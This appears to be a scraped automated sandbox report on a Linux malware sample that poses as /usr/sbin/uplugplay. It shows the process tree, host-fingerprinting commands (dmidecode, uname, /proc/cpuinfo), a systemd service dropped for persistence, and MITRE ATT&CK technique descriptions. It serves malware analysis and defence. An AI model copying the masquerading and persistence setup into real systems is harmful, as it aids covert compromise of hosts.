MD5 hash:	9b2bec7092a40488108543f9334aab75

Chronological Activities

Analysis Process: uplugplay PID: 5334, Parent PID: 1

General

Start time:	00:31:06
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	/usr/sbin/uplugplay
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: uplugplay PID: 5344, Parent PID: 5334

General

Start time:	00:31:06
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: uplugplay PID: 5345, Parent PID: 5344

General

Start time:	00:31:06
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5345, Parent PID: 5344

General

Start time:	00:31:06
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "/usr/sbin/uplugplay -Dcomsvc"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5346, Parent PID: 5345

General

Start time:	00:31:06
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uplugplay PID: 5346, Parent PID: 5345

General

Start time:	00:31:06
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	/usr/sbin/uplugplay -Dcomsvc
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: uplugplay PID: 5402, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5402, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "cat /proc/cpuinfo"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5405, Parent PID: 5402

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: cat PID: 5405, Parent PID: 5402

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/bin/cat
Arguments:	cat /proc/cpuinfo
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Chronological Activities

Analysis Process: uplugplay PID: 5408, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5408, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "dmidecode --type baseboard"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5409, Parent PID: 5408

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: dmidecode PID: 5409, Parent PID: 5408

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/dmidecode
Arguments:	dmidecode --type baseboard
File size:	121856 bytes
MD5 hash:	37284ba29446fb2dadf1ce80f8139c1a

Chronological Activities

Analysis Process: uplugplay PID: 5412, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5412, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "dmidecode --type baseboard"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5413, Parent PID: 5412

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: dmidecode PID: 5413, Parent PID: 5412

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/dmidecode
Arguments:	dmidecode --type baseboard
File size:	121856 bytes
MD5 hash:	37284ba29446fb2dadf1ce80f8139c1a

Chronological Activities

Analysis Process: uplugplay PID: 5416, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5416, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "dmidecode --type baseboard"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5417, Parent PID: 5416

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: dmidecode PID: 5417, Parent PID: 5416

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/dmidecode
Arguments:	dmidecode --type baseboard
File size:	121856 bytes
MD5 hash:	37284ba29446fb2dadf1ce80f8139c1a

Chronological Activities

Analysis Process: uplugplay PID: 5420, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5420, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "dmidecode --type baseboard"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5421, Parent PID: 5420

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: dmidecode PID: 5421, Parent PID: 5420

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/dmidecode
Arguments:	dmidecode --type baseboard
File size:	121856 bytes
MD5 hash:	37284ba29446fb2dadf1ce80f8139c1a

Chronological Activities

Analysis Process: uplugplay PID: 5424, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5424, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "dmidecode --type baseboard"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5425, Parent PID: 5424

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: dmidecode PID: 5425, Parent PID: 5424

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/dmidecode
Arguments:	dmidecode --type baseboard
File size:	121856 bytes
MD5 hash:	37284ba29446fb2dadf1ce80f8139c1a

Chronological Activities

Analysis Process: uplugplay PID: 5428, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5428, Parent PID: 5346

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "dmidecode --type baseboard"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5429, Parent PID: 5428

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: dmidecode PID: 5429, Parent PID: 5428

General

Start time:	00:32:08
Start date:	26/01/2022
Path:	/usr/sbin/dmidecode
Arguments:	dmidecode --type baseboard
File size:	121856 bytes
MD5 hash:	37284ba29446fb2dadf1ce80f8139c1a

Chronological Activities

Analysis Process: uplugplay PID: 5432, Parent PID: 5346

General

Start time:	00:32:09
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5432, Parent PID: 5346

General

Start time:	00:32:09
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c dmidecode
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5433, Parent PID: 5432

General

Start time:	00:32:09
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: dmidecode PID: 5433, Parent PID: 5432

General

Start time:	00:32:09
Start date:	26/01/2022
Path:	/usr/sbin/dmidecode
Arguments:	dmidecode
File size:	121856 bytes
MD5 hash:	37284ba29446fb2dadf1ce80f8139c1a

Chronological Activities

Analysis Process: uplugplay PID: 5436, Parent PID: 5346

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5436, Parent PID: 5346

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "cat /etc/os-release"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5437, Parent PID: 5436

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: cat PID: 5437, Parent PID: 5436

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/usr/bin/cat
Arguments:	cat /etc/os-release
File size:	43416 bytes
MD5 hash:	7e9d213e404ad3bb82e4ebb2e1f2c1b3

Chronological Activities

Analysis Process: uplugplay PID: 5440, Parent PID: 5346

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5440, Parent PID: 5346

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c uptime
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5441, Parent PID: 5440

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uptime PID: 5441, Parent PID: 5440

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/usr/bin/uptime
Arguments:	uptime
File size:	14568 bytes
MD5 hash:	3ad70d8e33316ac713bf25c2ddf2fb14

Chronological Activities

Analysis Process: uplugplay PID: 5446, Parent PID: 5346

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/usr/sbin/uplugplay
Arguments:	n/a
File size:	426571 bytes
MD5 hash:	7f24b753a82172370e9a74dc8b93b947

Chronological Activities

Analysis Process: sh PID: 5446, Parent PID: 5346

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	sh -c "uname -a"
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: sh PID: 5447, Parent PID: 5446

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: uname PID: 5447, Parent PID: 5446

General

Start time:	00:32:10
Start date:	26/01/2022
Path:	/usr/bin/uname
Arguments:	uname -a
File size:	39288 bytes
MD5 hash:	4ac7c634c5bec95753c480e9d421dcc2

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as Bash History and /var/log/*.
Tactics:	Defense Evasion
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN , ZXProxy, and ZXPortMap. Adversaries use these types of proxies to manage command and control communications, reduce the number of simultaneous outbound network connections, provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion. Adversaries may chain together multiple proxies to further disguise the source of malicious traffic.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report wH04DSYf6g

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Overview

Initial Sample

Dropped Files

Jbx Signature Overview

AV Detection

Bitcoin Miner

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/etc/CommId

/memfd:snapd-env-generator (deleted)

/usr/lib/systemd/system/uplugplay.service

/usr/sbin/uplugplay

/var/cache/man/5263

/var/cache/man/cs/5263

/var/cache/man/cs/index.db.DNgxhb

/var/cache/man/da/5263

/var/cache/man/da/index.db.RElZTb

/var/cache/man/de/5263

/var/cache/man/de/index.db.FqorB8

/var/cache/man/es/5263

/var/cache/man/es/index.db.WaD7cc

/var/cache/man/fi/5263

/var/cache/man/fi/index.db.ZxkEgb

/var/cache/man/fr.ISO8859-1/5263

/var/cache/man/fr.ISO8859-1/index.db.ltIlfc

/var/cache/man/fr.UTF-8/5263

/var/cache/man/fr.UTF-8/index.db.h9iNuc

/var/cache/man/fr/5263

/var/cache/man/fr/index.db.kCbFFa

/var/cache/man/hu/5263

/var/cache/man/hu/index.db.m3rGJa

/var/cache/man/id/5263

/var/cache/man/id/index.db.O3ETla

/var/cache/man/index.db.4hjRP8

/var/cache/man/it/5263

/var/cache/man/it/index.db.ULbHd9

/var/cache/man/ja/5263

Linux Analysis Report
wH04DSYf6g